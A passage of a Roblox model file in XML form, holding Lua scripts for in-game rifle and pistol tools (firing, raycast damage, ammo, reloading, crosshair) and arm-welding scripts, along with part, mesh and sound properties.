&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5430">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Ruger</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 15
-- How many times per second the gun can fire
local FireRate = 1 / 6
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 700
-- In radians the minimum accuracy penalty
local MinSpread = 0.008
-- In radian the maximum accuracy penalty
local MaxSpread = 0.04
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.06
-- Time it takes to reload weapon
local ReloadTime = 1.5
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;&#9;OnMouseUp()
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
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						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
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					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-15.8000002</X>
						<Y>-68.5999985</Y>
						<Z>33.1000023</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>1.60000002</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5447">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=4372594</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.20000005</X>
							<Y>1.20000005</Y>
							<Z>1.20000005</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5448">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309366</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5449">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2697432</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5450">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1.39999998</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5451">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5452">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5453">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5454">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SIG</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 18
-- How many times per second the gun can fire
local FireRate = 1 / 6
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.007
-- In radian the maximum accuracy penalty
local MaxSpread = 0.04
-- Number of bullets in a clip
local ClipSize = 12
-- DefaultValue for spare ammo
local SpareAmmo = 120
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = .06
-- Time it takes to reload weapon
local ReloadTime = 2
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil


local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
